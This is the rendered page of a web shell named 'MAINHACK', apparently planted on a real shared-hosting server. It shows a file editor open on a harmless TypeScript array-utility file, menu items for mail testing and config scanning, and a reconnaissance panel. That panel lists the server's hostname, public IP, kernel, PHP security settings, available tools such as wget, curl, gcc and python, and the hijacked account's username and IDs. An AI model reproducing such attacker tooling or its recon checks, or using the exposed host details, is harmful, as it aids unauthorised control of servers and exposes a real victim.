[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: array.ts
/** @internal */ export function arrayUpdate<A>(mutate: boolean, at: number, v: A, arr: Array<A>) { let out = arr if (!mutate) { const len = arr.length out = new Array(len) for (let i = 0; i < len; ++i) out[i] = arr[i]! } out[at] = v return out } /** @internal */ export function arraySpliceOut<A>(mutate: boolean, at: number, arr: Array<A>) { const newLen = arr.length - 1 let i = 0 let g = 0 let out = arr if (mutate) { i = g = at } else { out = new Array(newLen) while (i < at) out[g++] = arr[i++]! } ++i while (i <= newLen) out[g++] = arr[i++]! if (mutate) { out.length = newLen } return out } /** @internal */ export function arraySpliceIn<A>(mutate: boolean, at: number, v: A, arr: Array<A>) { const len = arr.length if (mutate) { let i = len while (i >= at) arr[i--] = arr[i]! arr[at] = v return arr } let i = 0, g = 0 const out = new Array<A>(len + 1) while (i < at) out[g++] = arr[i++]! out[at] = v while (i < len) out[++g] = arr[i++]! return out }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.92 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344